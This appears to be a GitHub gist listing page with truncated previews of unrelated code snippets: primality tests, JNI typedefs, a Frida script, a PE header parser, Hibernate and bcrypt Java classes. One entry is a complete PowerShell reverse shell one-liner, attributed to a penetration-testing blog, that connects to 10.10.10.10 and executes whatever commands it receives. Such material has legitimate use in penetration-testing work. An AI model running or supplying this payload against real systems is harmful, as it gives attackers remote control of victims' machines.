This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
typedef long jint; | |
typedef int64_t jlong; | |
typedef signed char jbyte; | |
/* | |
* JNI Types | |
*/ | |
typedef unsigned char jboolean; | |
typedef unsigned short jchar; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def miller_rabin(n, k): | |
# Implementation uses the Miller-Rabin Primality Test | |
# The optimal number of rounds for this test is 40 | |
# See http://stackoverflow.com/questions/6325576/how-many-iterations-of-rabin-miller-should-i-use-for-cryptographic-safe-primes | |
# for justification | |
# If number is even, it's a composite number | |
if n == 2: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from __future__ import print_function | |
import sys | |
import os | |
import re | |
import ctypes | |
import argparse | |
ulseek = ctypes.cdll['libc.so.6'].lseek | |
ulseek.restype = ctypes.c_uint64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def fermat_test(n, k): | |
# Implementation uses the Fermat Primality Test | |
# If number is even, it's a composite number | |
if n == 2: | |
return True | |
if n % 2 == 0: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var m = "python2.7"; | |
var ex = "PyTraceBack_Type"; | |
var module = Process.getModuleByName(m) | |
console.log(JSON.stringify(module)); | |
for (var e of module.enumerateExports()) { | |
if (e.name == ex) { | |
console.log(JSON.stringify(e)); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import argparse | |
import os | |
import pefile | |
class DllCharacteristics(): | |
def __init__(self): | |
self.IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = False | |
self.IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = False | |
self.IMAGE_DLLCHARACTERISTICS_NO_BIND = False |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <unistd.h> | |
int main() { | |
while (1) { | |
printf("hello\n"); | |
sleep(1); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class IntegerArrayType implements UserType { | |
protected static final int SQLTYPE = java.sql.Types.ARRAY; | |
@Override | |
public Object nullSafeGet(final ResultSet rs, final String[] names, final SessionImplementor sessionImplementor, final Object owner) throws HibernateException, SQLException { | |
Array array = rs.getArray(names[0]); | |
Integer[] javaArray = (Integer[]) array.getArray(); | |
return ArrayUtils.toPrimitive(javaArray); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @author: Terry Chia (Ayrx) | |
*/ | |
public class BcryptCredentialsMatcher implements CredentialsMatcher { | |
@Override | |
public boolean doCredentialsMatch(AuthenticationToken token, AuthenticationInfo info) { | |
String password; |
NewerOlder